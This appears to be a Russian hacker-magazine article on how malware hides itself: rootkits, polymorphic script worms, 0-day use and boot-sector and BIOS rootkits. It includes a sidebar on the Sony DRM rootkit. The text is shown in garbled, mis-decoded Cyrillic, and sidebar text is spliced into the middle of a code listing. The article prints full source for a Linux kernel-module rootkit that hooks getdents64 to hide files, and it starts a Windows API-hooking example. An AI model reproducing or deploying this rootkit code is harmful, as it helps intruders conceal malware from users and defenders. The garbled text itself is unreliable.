íàëüíîå èçäåâàòåëüñòâî èëè ñîâåðøåíèå äå-
ñòðóêòèâíûõ äåéñòâèé íà êîìïüþòåðå æåðòâå
(åñëè òîëüêî çà ýòî íå ïëàòÿò :)). Îíè ëèøü çàðà-
áàòûâàþò äåíüãè ëþáûì äîñòóïíûì ñïîñîáîì —
ëåãàëüíûì èëè íåëåãàëüíûì. È òàêèõ ñïîñîáîâ,
êñòàòè, â èíòåðíåòå ïðåäîñòàòî÷íî. Ýòî è ðàññû-

ëêà ñïàìà, è ôèøèíã, è êîìïüþòåðíûé øïèîíàæ,
è ñîçäàíèå áîò-ñåòåé.

Íî ó àâòîðîâ âðåäîíîñíûõ ïðîãðàìì âñåãäà
áûëà îäíà áîëüøàÿ ïðîáëåìà, ñâÿçàííàÿ ñ íå-
âîçìîæíîñòüþ äëèòåëüíîãî ñîõðàíåíèÿ ïðèñóò-
ñòâèÿ ñòîðîííåãî êîäà â ñèñòåìå, íåçàìåòíîé êàê
äëÿ ïîëüçîâàòåëÿ, òàê è äëÿ àíòèâèðóñíûõ
ñðåäñòâ. Ðåøåíèå ýòîé ïðîáëåìû âîïëîùåíî â
ñîçäàíèè öåëîãî êëàññà âðåäîíîñíûõ ïðîãðàìì:
ðóòêèòîâ, ïîëèìîðôíûõ âèðóñîâ, íåâèäèìûõ IM-
÷åðâåé, âèðóñîâ, ñêðûâàþùèõñÿ â ñòðèìàõ ntfs è
ìíîãèõ äðóãèõ.

òåõíîëîãèè ððóòêèòîâ. Ñ÷èòàåòñÿ, ÷òî â ñðåäå
UNIX âðåäîíîñíûå ïðîãðàììû ïîêà íå ïîëó÷èëè
òàêîãî ðàñïðîñòðàíåíèÿ, êàê â Windows, îäíàêî
èìåííî îòòóäà ïðèøåë òåðìèí rootkit, êîòîðûé
ñåé÷àñ ÷àñòî èñïîëüçóåòñÿ äëÿ îáîçíà÷åíèÿ ste-
alth-òåõíîëîãèé, ïðèìåíÿåìûõ àâòîðàìè òðîÿí-
ñêèõ ïðîãðàìì ïîä Windows.

Ñ öåëüþ ñêðûòèÿ âðåäîíîñíûõ äåéñòâèé
õàêåðà ïîäìåíÿþòñÿ ñèñòåìíûå èñïîëíÿåìûå
ôàéëû, òàêèå êàê ifconfig, ps, top, login, ls, netstat,
èëè ñèñòåìíûå áèáëèîòåêè òèïà libproc.a. Ëèáî
óñòàíàâëèâàåòñÿ ìîäóëü ÿäðà, äëÿ òîãî ÷òîáû
ïåðåõâàòèòü ïîïûòêè ïîëüçîâàòåëÿ ïîëó÷èòü ðå-
àëüíóþ êàðòèíêó ñîñòîÿíèÿ ñèñòåìû. Òàêèì îá-
ðàçîì, ðàçëè÷àþòñÿ ðóòêèòû óðîâíÿ ïðèëîæåíèé
è óðîâíÿ ÿäðà.

Ðóòêèòû óðîâíÿ ïðèëîæåíèé, êàê ïðàâèëî,
âêëþ÷àþò ôóíêöèè ïî ðàáîòå ñ äåìîíîì ðåãèñòðà-
öèé ñîáûòèé â ñèñòåìå, îáû÷íî ôóíêöèè ïî îòêëþ-
÷åíèþ syslogd; ïðîòðîÿíåííûå ñèñòåìíûå óòèëèòû
è áýêäîð, ïðåäîñòàâëÿþùèé äîñòóï â ñèñòåìó.
Ðóòêèòû óðîâíÿ ÿäðà òàêæå ñêðûâàþò ñâîþ ðàáî-
òó, íî íà áîëåå íèçêîì óðîâíå. Ðàññìîòðèì òðè
ñïîñîáà óñòàíîâêè ÿäåðíîãî ðóòêèòà.

1 ×åðåç ìîäóëü ÿäðà LKM. Ïèøåòñÿ ìîäóëü
ÿäðà, èçìåíÿþùèé íóæíûå ñèñòåìíûå âûçîâû, è
ïîäãðóæàåòñÿ ÿäðîì áåç ïåðåçàãðóçêè ñèñòåìû.

2 ×åðåç çàïèñü â óæå ñóùåñòâóþùèé ìîäóëü
ÿäðà. ×àùå âñåãî ìîäèôèöèðóþòñÿ íàèáîëåå ðàñïðî-
ñòðàíåííûå ìîäóëè ÿäðà, îáû÷íî çàãðóæàþùèåñÿ íà
êàæäîì óðîâíå, òàêèå êàê autofs, md5, scisi_mod, flop-
py. Áëàãîäàðÿ ýòîìó ìîæíî áóäåò çàãðóçèòüñÿ çàíîâî
â ñëó÷àå âíåçàïíîé ïåðåçàãðóçêè ñèñòåìû.

3 ×åðåç çàïèñü â îáëàñòü ïàìÿòè, çàíÿòîé
ÿäðîì. Äåëî â òîì, ÷òî ñóùåñòâóþò ñïîñîáû, ïî-
çâîëÿþùèå âûÿñíèòü àäðåñ îáëàñòè ïàìÿòè, çà-
íÿòîé íåêîòîðîé ÷àñòüþ ÿäðà. Ïîñëå îïðåäåëå-
íèÿ àäðåñà îñòàåòñÿ òîëüêî îñóùåñòâèòü çàïèñü
â /dev/kmem.

Ïîïðîáóåì ðàçîáðàòü íàãëÿäíûé ïðèìåð êî-
äà LKM, ñêðûâàþùèé îïðåäåëåííûé ôàéë îò ãëàç
ñòîðîííèõ óòèëèò. Ïåðâîå, ÷òî íàì íóæíî îïðåäå-
ëèòü, — êàêîé ñèñòåìíûé âûçîâ îòâå÷àåò çà ÷òå-
íèå òîé èëè èíîé äèðåêòîðèè. Ñäåëàòü ýòî äîâîëü-
íî ïðîñòî. Íóæíî âûïîëíèòü òðàññèðîâêó ëþáîé
ïðîãðàììû, ñ÷èòûâàþùåé ñîäåðæèìîå äèðåêòî-
ðèè. Åñëè òàêîé ïðîãðàììû ïîä ðóêîé íåò, òî ìîæ-
íî ñàìîìó íàïèñàòü ýëåìåíòàðíûé êîä, ñîñòîÿùèé
èç ôóíêöèé îòêðûòèÿ è ÷òåíèÿ äèðåêòîðèè:

#include <dirent.h>

struct dirent *dirstr;

DIR * mydir=opendir("/tmp");

dirstr=readdir(mydir);

Ïîñëå ïðîâåäåíèÿ òðàññèðîâêè ïðîãðàììû êîìàí-
äîé ltrace óâèäèì, ÷òî îäíîé èç ñòðîê ÿâëÿåòñÿ: 

SYS_getdents64(3, 0x08049678, 4096,

0x40014400, 0x4014c2c0)

Ôóíêöèÿ getdents64 êàê ðàç è ñ÷èòûâàåò ñîäåð-
æèìîå êàòàëîãà, à ðåçóëüòàò çàïèñûâàåò â ñòðóê-
òóðó òèïà struct dirent. Äëÿ òîãî ÷òîáû ñêðûòü êà-
êîé-ëèáî ôàéë, íóæíî ïåðåõâàòèòü getdents64,
íàéòè â ñòðóêòóðå dirent ïîëÿ d_reclen è d_name,
ñîäåðæàùèå ðàçìåð çàïèñè è èìÿ ôàéëà, è çà-
òåì óäàëèòü íóæíûå çàïèñè. Íèæå ïðèâåäåí ïðè-
ìåð ñ êîììåíòàðèÿìè.

// Íå çàáûâàåì ïîäêëþ÷àòü íóæíûå ôàéëû

#include <linux/module.h>

#include <linux/kernel.h>

#include <linux/types.h>

#include <linux/dirent.h>

#include <linux/slab.h>

#include <linux/string.h>

#include <sys/syscall.h>

#include <asm/uaccess.h>

extern void *sys_call_table[];

int (*real_getd)(u_int fil, struct di-

rent *dirp, u_int cnt);

//Îïðåäåëèì íàø ñèñòåìíûé âûçîâ

int our_getd (u_int fil, struct dirent

*dirp, u_int cnt)

{

//Îïèñàíèå ñòðóêòóðû

struct dirent64 {

int d_ino1,d_ino2,d_off1,d_off2;

unsigned short d_reclen;

unsigned char d_type;

char d_name[0];

} *dirp2, *dirp3;

// Èìÿ ôàéëà, êîòîðûé íóæíî ñïðÿòàòü

char file_hide[] = "file_to_hide";

// Îïðåäåëèì äëèíó çàïèñåé â äèðåêòîðèè

unsigned int bak, n;

int bak2;

bak = (*real_getd)(fil,dirp,cnt);

if (bak>0) {

Ïðèìåð ôèøèíãà. Â url-ñòðîêå áðàóçåðà ìû âèäåì
ñàéò Paypal. Îäíàêî â ïðàâîì âåðõíåì óãëó áðàóçåð
íàì ïîêàçûâàåò ðåàëüíûé àäðåñ ñàéòà

îïàñíîñòü ëåãàëüíûõ
ðóòêèòîâ

ÂÑÅ ÌÛ ÏÎÌÍÈÌ ÈÑÒÎÐÈÞ ÎÁ
ÎÁÍÀÐÓÆÅÍÈÈ ÐÓÒÊÈÒÀ 
Â DRM-ÌÎÄÓËÅ ÌÓÇÛÊÀËÜÍÛÕ ÄÈÑÊÎÂ
ÊÎÌÏÀÍÈÈ SONY. ÎÑÍÎÂÍÎÉ ÈÄÅÅÉ
ÐÓÒÊÈÒÀ ÁÛËÎ ÂÍÅÄÐÅÍÈÅ
ÏÐÎÃÐÀÌÌÎÉ ÇÀÙÈÒÛ ÎÒ
ÊÎÏÈÐÎÂÀÍÈß ÁÐÈÒÀÍÑÊÎÉ ÊÎÌÏÀÍÈÈ
FIRST 4 INTERNET. ÊÀÇÀËÎÑÜ ÁÛ,
ÂÏÎËÍÅ ÍÅÂÈÍÍÀß ÇÀÒÅß. ÌÍÎÃÈÅ
ÄÀÆÅ ÍÅ ÄÓÌÀËÈ ÏÐÈÄÀÂÀÒÜ ÝÒÎÌÓ
ÔÀÊÒÓ ÁÎËÜØÎÃÎ ÇÍÀ×ÅÍÈß. ÍÎ
ÐÅÀËÜÍÎ ÑËÎÆÈËÀÑÜ ÑÈÒÓÀÖÈß,
ÊÎÃÄÀ ÍÅÑÊÎËÜÊÎ ÑÎÒÅÍ ÒÛÑß×
ÊÎÌÏÜÞÒÅÐÎÂ ÂÎ ÂÑÅÌ ÌÈÐÅ
ÎÊÀÇÀËÈÑÜ ÎÑÍÀÙÅÍÛ ÑÐÅÄÑÒÂÀÌÈ
ÄËß ÑÊÐÛÒÈß ÔÀÉËÎÂ È ÏÐÎÖÅÑÑÎÂ 
Â ÑÈÑÒÅÌÅ ÎÒ ÏÎËÜÇÎÂÀÒÅËß.
ÔÀÊÒÈ×ÅÑÊÈ ÝÒÎ ÎÇÍÀ×ÀËÎ, 
×ÒÎ ËÞÁÎÉ ÔÀÉË, ÍÀ×ÈÍÀÞÙÈÉÑß 
Ñ «$SYS$», ÑÒÀÍÎÂÈËÑß ÍÅÂÈÄÈÌÛÌ
ÄËß ÑÒÀÍÄÀÐÒÍÛÕ ÑÐÅÄÑÒÂ. 
ÝÒÎ È ÁÛËÎ ÄÎÊÀÇÀÍÎ ÍÀ ÏÐÀÊÒÈÊÅ 
Ñ ÏÎßÂËÅÍÈÅÌ ÁÝÊÄÎÐÀ
BACKDOOR.WIN32.BREPLIBOT.B,
ÝÊÑÏËÓÀÒÈÐÎÂÀÂØÅÃÎ ÂÎÇÍÈÊØÓÞ
ÓßÇÂÈÌÎÑÒÜ. ÁÝÊÄÎÐ ÐÀÑÑÛËÀËÑß
ÏÐÈ ÏÎÌÎÙÈ ÑÏÀÌ-ÐÀÑÑÛËÊÈ 
È ÓÑÒÀÍÀÂËÈÂÀË ÑÅÁß 
Â ÑÈÑÒÅÌÍÛÉ ÊÀÒÀËÎÃ Ñ ÈÌÅÍÅÌ,
ÍÀ×ÈÍÀÞÙÈÌÑß ÍÀ $SYS$
($SYS$DRV.EXE). ÑÎÎÒÂÅÒÑÒÂÅÍÍÎ, 
ÎÍ ÁÛË ÍÅ ÇÀÌÅÒÅÍ ÍÀ ÊÎÌÏÜÞÒÅÐÀÕ 
Ñ ÔÓÍÊÖÈÎÍÈÐÓÞÙÅÉ DRM-ÇÀÙÈÒÎÉ 
ÎÒ SONY È ÑÎÂÅÐØÀË ÑÂÎÈ
ÇËÎÄÅßÍÈß. ÇÀ BREPLIBOT
ÏÎÑËÅÄÎÂÀËÈ È ÄÐÓÃÈÅ, ÅÙÅ ÁÎËÅÅ
ÎÏÀÑÍÛÅ ÂÈÐÓÑÛ. ÌÛ ÍÅ ÁÓÄÅÌ
ÎÑÓÆÄÀÒÜ ÊÎÍÊÐÅÒÍÎÃÎ
ÏÐÎÈÇÂÎÄÈÒÅËß, ÍÎ ÕÎÒÅËÎÑÜ 
ÁÛ ÎÁÐÀÒÈÒÜ ÒÂÎÅ ÂÍÈÌÀÍÈÅ,
ÍÀÑÊÎËÜÊÎ Â ÑÎÂÐÅÌÅÍÍÎÌ
ÈÍÔÎÐÌÀÖÈÎÍÍÎÌ ÌÈÐÅ ÍÓÆÍÎ
ÁÛÒÜ ÎÑÒÎÐÎÆÍÛÌ 
ÏÐÈ ÂÍÅÄÐÅÍÈÈ ËÞÁÎÉ ÒÅÕÍÎËÎÃÈÈ.



// Âûäåëèì ïàìÿòü äëÿ ñòðóêòóðû 

â ïðîñòðàíñòâå ÿäðà è ñêîïèðóåì â íåå 

ñîäåðæèìîå êàòàëîãà

dirp2 = (struct dirent64 *)

kmalloc(bak,GFP_KERNEL);

copy_from_user(dirp2,dirp,bak);

// Çàäåéñòâóåì âòîðóþ ñòðóêòóðó 

è ñîõðàíèì çíà÷åíèå äëèíû çàïèñåé â êàòàëîãå

dirp3 = dirp2;

bak2 = bak;

//Èùåì íàø ôàéë

while (bak2>0) {

// Ñ÷èòûâàåì äëèíó ïåðâîé çàïèñè

d_reclet è îïðåäåëÿåì îñòàâøóþñÿ äëèíó

çàïèñåé â äèðåêòîðèè

n = dirp3->d_reclen;

bak2 -= n;

// Ïðîâåðÿåì íà ñîâïàäåíèå èìåíè 

ôàéëà ñ òåêóùåé çàïèñüþ

if (strstr((char *)&(dirp3->d_name),

(char *)&file_hide) != NULL) 

{

//Â ñëó÷àå óäà÷è çàòèðàåì çàïèñü 

è âû÷èñëÿåì íîâîå çíà÷åíèå äëèíû êàòàëîãà

memcpy(dirp3, (char *)

dirp3+dirp3->d_reclen, bak2);

bak -= n;

}

// Ïðîäâèãàåì óêàçàòåëü íà ñëåäóþùóþ

çàïèñü è èùåì äàëüøå

dirp3 = (struct dirent64 *)

((char *)dirp3+dirp3->d_reclen);

}

// Âîçâðàùàåì ðåçóëüòàò

copy_to_user(dirp,dirp2,bak);

kfree(dirp2);

}

// Âîçâðàùàåì çíà÷åíèå äëèíû 

çàïèñåé â êàòàëîãå

return bak;

}

// Còàíäàðòíûå ôóíêöèè èíèöèàëèçàöèè 

è âûãðóçêè ìîäóëÿ

int init_module(void)

{

real_getd = sys_call_table[

SYS_getdents64];

sys_call_table

[SYS_getdents64]=our_getd;

return 0;

}

void cleanup_module()

{

sys_call_table

[SYS_getdents64]=real_getd;

}

Â Windows òàêæå ðàñïðîñòðàíåíû ðóòêèòû. Ïðè-
÷åì îáñòðîèòüñÿ â ýòîé ñðåäå çëîâðåäó áóäåò ãî-
ðàçäî ëåã÷å. Âåäü áîëüøèíñòâî ïîëüçîâàòåëåé ðà-
áîòàþò â ñèñòåìå ñ ïðàâàìè àäìèíèñòðàòîðà, â òî
âðåìÿ êàê â þíèêñ ïðàâà root, íåîáõîäèìûå äëÿ èí-
ñòàëëÿöèè ïîäàâëÿþùåãî áîëüøèíñòâà rootkit,
íóæíî åùå ïîëó÷èòü ñ ïîìîùüþ èñïîëüçîâàíèÿ
óÿçâèìîñòåé. Â Windows èñïîëüçóþòñÿ ñëåäóþùèå
ïóòè ñîêðûòèÿ ïðîãðàìì â ñèñòåìå:

1 Èñïîëüçîâàíèå âíóòðåííèõ ñòðóêòóð îïåðà-
öèîííîé ñèñòåìû. Âíóòðåííèå ñòðóêòóðû Windows
íåäîêóìåíòèðîâàííû èëè ñëàáî äîêóìåíòèðîâà-

49

ÄÐÓÃÈÅ ÍÎÂÅÉØÈÅ 
ÒÅÕÍÎËÎÃÈÈ ÌÀÑÊÈÐÎÂÊÈ

Òåõíîëîãèè ««0-dday»
Îñíîâíûì êðèòåðèåì óäà÷è ñîêðûòèÿ
çëîâðåäà è ïðîäëåíèÿ åãî ïðèñóòñòâèÿ â
ñèñòåìå ÿâëÿåòñÿ èñïîëüçîâàíèå òåõíîëî-
ãèé èëè óÿçâèìîñòåé, åùå íåèçâåñòíûõ
êîìïüþòåðíîìó ñîîáùåñòâó. Ïîÿâëåíèå
«zero-day» òåõíîëîãèé ïðåäñòàâëÿåò íàè-
áîëüøóþ îïàñíîñòü, ïîñêîëüêó ïðîèçâîäè-
òåëþ ñîôòà ïðèõîäèòñÿ òðàòèòü âðåìÿ íà
àíàëèç ïðîáëåìû è âûïóñê ïàò÷à, â òî âðå-
ìÿ êàê â èíòåðíåòå óæå àêòèâíî ðàñïðî-
ñòðàíÿåòñÿ âðåäîíîñíûé êîä. ×àùå âñåãî
îò òàêèõ àòàê ñòðàäàþò ñåðüåçíûå êîðïîðà-
öèè, àòàêóåìûå èçâíå «íà çàêàç», ïî ÷üåé-
ëèáî íàâîäêå. Õîòÿ, íàïðèìåð, çíàìåíèòàÿ
fishing-òåõíîëîãèÿ, íàäåëàâøàÿ ñòîëüêî
øóìà è çàñòàâèâøàÿ ïîïîòåòü àíòèâèðó-
ñíûõ ðàçðàáîò÷èêîâ, äî ñèõ ïîð òðåâîæèò
ïîêîé èìåííî ïðîñòûõ ïîëüçîâàòåëåé.
Âñïîìíèì òàêæå ïîÿâèâøóþñÿ íå òàê äàâ-
íî òåõíîëîãèþ, ñêðûâàþùóþ èíôîðìàöèþ
â ñòðèìàõ ntfs. Íàïîìíþ, ÷òî èçâåñòíûé
êîìïüþòåðíûé âèðóñ «Stream» âêëþ÷àë
ñïîñîáíîñòè ïî ìàíèïóëèðîâàíèþ äîïîë-
íèòåëüíûìè ïîòîêàìè (ADS) ôàéëîâîé ñè-
ñòåìû NTFS. Îïàñíûìè òàêæå ñòàíîâÿòñÿ
âèðóñû, ðàáîòà êîòîðûõ ïðàêòè÷åñêè íå çà-
âèñèò îò äåéñòâèé ïîëüçîâàòåëÿ. Ïî÷òîâûå
÷åðâè, èñïîëüçóþùèå óÿçâèìîñòü ñêðèïòî-
âûõ äâèæêîâ cross-site scripting ðàçëè÷íûõ
ïîïóëÿðíûõ âåá-ðåñóðñîâ(âåá-ïî÷òà, áëî-
ãè), ìîãóò àêòèâèçèðîâàòüñÿ ïðîñòî ïðè ïî-

ñåùåíèè çàðàæåííîé ñòðàíèöû ñàéòà. Òàê,
æåðòâàìè ÷åðâÿ Yamanner òîëüêî â èþíå
2006 ãîäà ñòàëè ïî÷òè 200 ìèëëèîíîâ
ïîëüçîâàòåëåé âåá-ïî÷òû Yahoo!Mail. Äëÿ
àêòèâàöèè ÷åðâÿ äîñòàòî÷íî áûëî ëèøü îò-
êðûòü ïèñüìî â îêíå âåá-áðàóçåðà. Ïðè÷åì
÷åðâþ äàæå íå òðåáîâàëîñü ïðîíèêíîâåíèå
íà êîìïüþòåð æåðòâû. Ïðè àêòèâàöèè ÷åð-
âü ðàññûëàë ñåáÿ ïî âñåì êîíòàêòàì àòàêî-
âàííîãî ïîëüçîâàòåëÿ.

Ïîëèìîðôíûå ññêðèïòû
Ïîëèìîðôíûå âèðóñû àêòèâíî ðàçâèâà-
ëèñü äî êîíöà ïðîøëîãî âåêà. Íåñìîòðÿ íà
òî, ÷òî âèðóñíûé ïîëèìîðôèçì ïðîøåë
ìíîæåñòâî ñòàäèé ñâîåãî ðàçâèòèÿ: îò ïðî-
ñòåéøåãî ïîáàéòíîãî xor äî óíèêàëüíûõ
ìåòàìîðôîâ, èñïîëüçóþùèõ ñëîæíåéøèå
êðèïòîãðàôè÷åñêèå àëãîðèòìû. Â êîíöå
êîíöîâ ïîëèìîðôèêè óñòóïèëè ïàëüìó ïåð-
âåíñòâà áîëåå øóñòðûì è ïðîâîðíûì ÷åð-
âÿì è òðîÿíöàì. Îäíàêî íåîæèäàííî ìû
ñòàëè î÷åâèäöàìè íîâîé ñòóïåíè ýâîëþöèè —
ñîçäàíèè ïîëèìîðôíûõ ñêðèïòîâûõ ÷åð-
âåé. Ïðîáëåìà âîçíèêëà ñ ïîÿâëåíèåì ó
âåá-ìàñòåðîâ òåõíîëîãèè øèôðîâàíèÿ êî-
äà html-ñòðàíèöû è òåì ñàìûì ïðÿ÷óùåé åå
îò ñòîðîííèõ ãëàç. Íåêîòîðûå àâòîðû øè-
ôðàòîðîâ ñòðàíèö ñäåëàëè êîä ñâîèõ ïðî-
ãðàìì ïîëíîñòüþ îòêðûòûìè, ÷åì ñïîñîá-
ñòâîâàëè ðàçâèòèþ âèðóñíîé èíäóñòðèè â
äàííîì íàïðàâëåíèè. Âñêîðå ïîÿâèëèñü
î÷åíü îïàñíûå ÷åðâè — Feebs è Scano, —
ðàñïðîñòðàíÿåìûå ïî ïî÷òå â âèäå àòòà÷à,
ïðåäñòàâëÿþùåãî ñîáîé çàøèôðîâàííûé

java-ñêðèïò. Òðóäíîñòü â ïîèìêå òàêèõ ÷åð-
âåé àíòèâèðóñàìè âîçíèêàåò èç-çà áîëüøî-
ãî ïðîöåíòà ëîæíûõ ñðàáàòûâàíèé òèïà Fal-
se positive, ïîñêîëüêó èìåþùèåñÿ ýâðèñòè-
÷åñêèå àíàëèçàòîðû ìîãóò ïðèçíàòü âðåäî-
íîñíîé ïðîãðàììîé âïîëíå ëåãàëüíûé çà-
øèôðîâàííûé ñàéò.

Cîöèàëüíàÿ èèíæåíåðèÿ
Â ïîëüçó àêòèâíîãî ðàñïðîñòðàíåíèÿ ÷åðâåé
Feebs è Scano ñûãðàë òîò ôàêò, ÷òî ïîëüçî-
âàòåëè åùå íå ïðèâûêëè ê òîìó, ÷òî â html-
ôàéëàõ ìîãóò ñîäåðæàòüñÿ âèðóñû. Ïðî-
ñòûå þçåðû äî ñèõ ïîð ñ÷èòàþò, ÷òî âñå âè-
ðóñû ðàñïðîñòðàíÿþòñÿ â exe-ôàéëàõ è äî-
êóìåíòàõ ôîðìàòà .doc. Íàëèöî ôàêò ñî-
öèàëüíîé èíæåíåðèè, èñïîëüçóåìûé õàêåð-
ñêèì ñîîáùåñòâîì ñ öåëüþ áîëåå èíòåíñèâ-
íîãî ðàñïðîñòðàíåíèÿ çëîâðåäîâ.

Ðóòêèòû ííîâîãî ïïîêîëåíèÿ
Õàêåðû èçîáðåòàþò âñå íîâûå è íîâûå ëà-
çåéêè è òåõíîëîãèè. Ïîýòîìó äî ïîñëåäíå-
ãî âðåìåíè îíè áûëè íà øàã âïåðåäè ëþ-
áîé àíòèâèðóñíîé êîìïàíèè. Ãîíêà âîîðó-
æåíèé ïðîäîëæàåòñÿ è ñåé÷àñ. Â àíòèâèðó-
ñû âñòðàèâàþò ìîùíûå ïðîàêòèâíûå òåõ-
íîëîãèè, ïîçâîëÿþùèå äåòåêòèðîâàòü äà-
æå óãðîçû òèïà «0-day». Íî, ÷òîáû áîðîòü-
ñÿ ñ õàêåðàìè, íóæíî ìûñëèòü, êàê õàêåðû,
äåéñòâîâàòü, êàê õàêåðû. Äëÿ ýòîãî ìíîãèå
êîìïàíèè, ñïåöèàëèçèðóþùèåñÿ íà IT-áå-
çîïàñíîñòè, ñàìè ïðîâîäÿò èññëåäîâàíèÿ
ïî âîçìîæíîñòè âçëîìà ñèñòåì, ÷òîáû
áûòü ãîòîâûìè ê çàùèòå îò íîâûõ óãðîç.

Îäíîé èç íîâåéøèõ ðàçðàáîòîê êîìïàíèè
eEye Digital Security ñòàëî ñîçäàíèå áýêäî-
ðà â çàãðóçî÷íîì ñåêòîðå âèí÷åñòåðà, êîòî-
ðûé ìîæåò ïîëó÷èòü óïðàâëåíèå åùå äî çà-
ïóñêà îïåðàöèîíêè. Ñàì ïîíèìàåøü, ÷òî
ïîäîáíàÿ âîçìîæíîñòü ïîçâîëèò áýêäîðó
ïîäìåíèòü ìíîãèå ñèñòåìíûå âûçîâû îïå-
ðàöèîííîé ñèñòåìû. Êîìïàíèÿ Next-Gen-
eration Security ïðîâåëà ðàáîòó, ðåçóëüòà-
òîì êîòîðîé áûëî ñîçäàíèå ðóòêèòà âî
ôëýø-ïàìÿòè BIOS. Ñîçäàíèå òàêîãî ðóòêè-
òà âîçìîæíî ÷åðåç ôóíêöèè ïî óïðàâëå-
íèþ ýëåêòðîïèòàíèåì êîìïüþòåðà ACPI, à
îáíàðóæåíèå òàêîãî çëîâðåäà âåñüìà çà-
òðóäíèòåëüíî. Microsoft òàêæå íå îòñòàåò
îò êîëëåã ïî öåõó è ñïîíñèðóåò äîâîëüíî
èíòåðåñíûé ïðîåêò, ðàçðàáàòûâàåìûé óíè-
âåðñèòåòîì øòàòà Ìè÷èãàí. Ðåáÿòà ïûòà-
þòñÿ ðåàëèçîâàòü ïðîåêò ðóòêèòà, ðàáîòàþ-
ùåãî íèæå óðîâíÿ îïåðàöèîííîé ñèñòåìû.
Äëÿ ýòîãî íà æåñòêèé äèñê ñíà÷àëà óñòàíà-
âëèâàåòñÿ òàê íàçûâàåìûé ìîíèòîð âèðòó-
àëüíûõ ìàøèí, êîòîðûé óæå çàãðóæàåò
îïåðàöèîíêó. Òàêèì îáðàçîì, ïîñêîëüêó
óïðàâëåíèå îò BIOS ñíà÷àëà ïîïàäàåò ê íå-
ìó, ìîíèòîð ìîæåò âûïîëíÿòü ëþáûå äåé-
ñòâèÿ êàê äî, òàê è ïîñëå çàãðóçêè îñè. Òåî-
ðåòè÷åñêè àíòèâèðóñó âíóòðè îïåðàöèîí-
íîé ñèñòåìû áóäåò ïðîñòî íåâîçìîæíî îá-
íàðóæèòü ðóòêèòû è çëîâðåäû íà óðîâíå
ìîíèòîðà âèðòóàëüíûõ ìàøèí. Îäíàêî â
ãëàçà áðîñàåòñÿ î÷åâèäíàÿ âîçìîæíîñòü
îáíàðóæèòü íåëàäíîå äðóãèìè ñïîñîáàìè,
íàïðèìåð, ïðîñòîé ïðîâåðêîé äèñêà íà
äðóãîì êîìïüþòåðå.



íû, ê òîìó æå îíè ìåíÿþòñÿ îò âåðñèè ê âåðñèè.
Ýòî ñëîæíàÿ è òðóäîåìêàÿ ðàáîòà, ïîñêîëüêó çà-
ñòàâëÿåò õàêåðîâ âûïîëíÿòü äîïîëíèòåëüíóþ ðà-
áîòó ïî àíàëèçó êîäà. Íî èãðà ñòîèò ñâå÷, ïîñêîëü-
êó äàííûé ïîäõîä ïîçâîëÿåò ñêðûòü ïðîöåññ îò
áîëüøèíñòâà ñïåöèàëèçèðîâàííûõ óòèëèò, â òîì
÷èñëå, íàïðèìåð, îò Task Manager. 

2 Ïåðåõâàò âûçîâà API-ôóíêöèé è âíåäðåíèå
dll. Íàèáîëåå ïîïóëÿðíûé ìåòîä. Ñóùåñòâóåò íåñ-
êîëüêî ñïîñîáîâ âíåäðåíèÿ dll: âíåäðåíèå ñ ïîìî-
ùüþ ëîâóøåê, ðååñòðà, óäàëåííûõ ïîòîêîâ. Íî,
íåñìîòðÿ íà òî, ÷òî âíåäðåíèå DLL â àäðåñíîå
ïðîñòðàíñòâî ïðîöåññà — ýòî çàìå÷àòåëüíûé ñïî-
ñîá óçíàòü î òîì, ÷òî ïðîèñõîäèò â ïðîöåññå, ïðî-
ñòîå âíåäðåíèå DLL íå äàåò äîñòàòî÷íîé èíôîð-
ìàöèè, à òåì áîëåå íå ïîçâîëÿåò èçìåíÿòü ïîâå-
äåíèå êàêîé-ëèáî ôóíêöèè. Òàêèì îáðàçîì, áîëåå
ýôôåêòèâåí è ðàñïðîñòðàíåí ìåòîä ïåðåõâàòà
âûçîâà API-ôóíêöèé. Ïîñêîëüêó âûçîâû ñèñòåì-
íûõ API-ôóíêöèé ïðîèçâîäÿòñÿ ïðèëîæåíèÿìè ÷å-
ðåç òàáëèöû èìïîðòà/ýêñïîðòà èëè ÷åðåç àäðåñ,
ïîëó÷åííûé ñ ïîìîùüþ ôóíêöèè GetProcAddress,
òî ìîæíî ðåàëèçîâàòü ñïåöèàëüíûé êîä â dll-áè-
áëèîòåêå, êîòîðûé áóäåò âíåäðÿòüñÿ â àäðåñíûå
ïðîñòðàíñòâà çàïóùåííûõ â ñèñòåìå ïðîöåññîâ.
Ýòî ïîçâîëèò êîíòðîëèðîâàòü ëþáîå çàïóùåííîå
ïðèëîæåíèå. 

Èñïîëüçîâàíèå òàáëèö èìïîðòà/ýêñïîðòà ÿâ-
ëÿåòñÿ ïðåäïî÷òèòåëüíûì, ïîñêîëüêó íå ïðèõî-
äèòñÿ ïèñàòü íà àññåìáëåðå è èñïîëüçîâàòü êî-
ìàíäó JUMP, çàâèñÿùóþ îò ïðîöåññîðà. Åäèí-
ñòâåííîå, ÷òî íàì íóæíî çíàòü, — ýòî îïèñàíèå
PE-çàãîëîâêà è ñòðóêòóðó ðàçäåëà èìïîðòà. Åñëè
êîðîòêî, òî òàáëèöà èìïîðòà ñîäåðæèò ñïèñêè àä-
ðåñîâ ôóíêöèé, èìïîðòèðóåìûõ èç ðàçëè÷íûõ dll.
Äàííûå àäðåñà ïîïàäàþò â òàáëèöó ïîñëå çàãðóç-
êè â ïàìÿòü èñïîëíÿåìîãî ôàéëà. ×òîáû çàìåíèòü
îïðåäåëåííóþ ôóíêöèþ, íàäî ëèøü èçìåíèòü åå
àäðåñ â ðàçäåëå èìïîðòà íà àäðåñ íàøåé ôóíê-
öèè. Íóæíî çàìåòèòü, ÷òî íàøà ôóíêöèÿ äîëæíà
ïîëíîñòüþ ñîâïàäàòü ñ òîé ôóíêöèåé, êîòîðóþ ìû
õîòèì çàìåíèòü, òî åñòü âñå ïàðàìåòðû è âîçâðà-
ùàåìîå çíà÷åíèå äîëæíû ñîâïàäàòü.

Ðàññìîòðèì ïðèìåð ïî çàìåíå àäðåñà ôóíê-
öèè çàâåðøåíèÿ ðàáîòû ñèñòåìû ExitWindowsEx 
â òàáëèöå èìïîðòà íà àäðåñ íàøåé ôóíêöèè: 

// Îïðåäåëèì ïåðåìåííóþ, â êîòîðóþ áóäåò

çàïèñàí àäðåñ ExitWindowsEx

DWORD ExitW_Addr;

// Ãëàâíàÿ dll-ôóíêöèÿ ñîäåðæèò âûçîâ

íóæíîé íàì ôóíêöèè ïî çàìåíå àäðåñà 

â òàáëèöå èìïîðòà Substitute(). 

Îíà áóäåò âûçâàíà, ïîñêîëüêó, êîãäà 

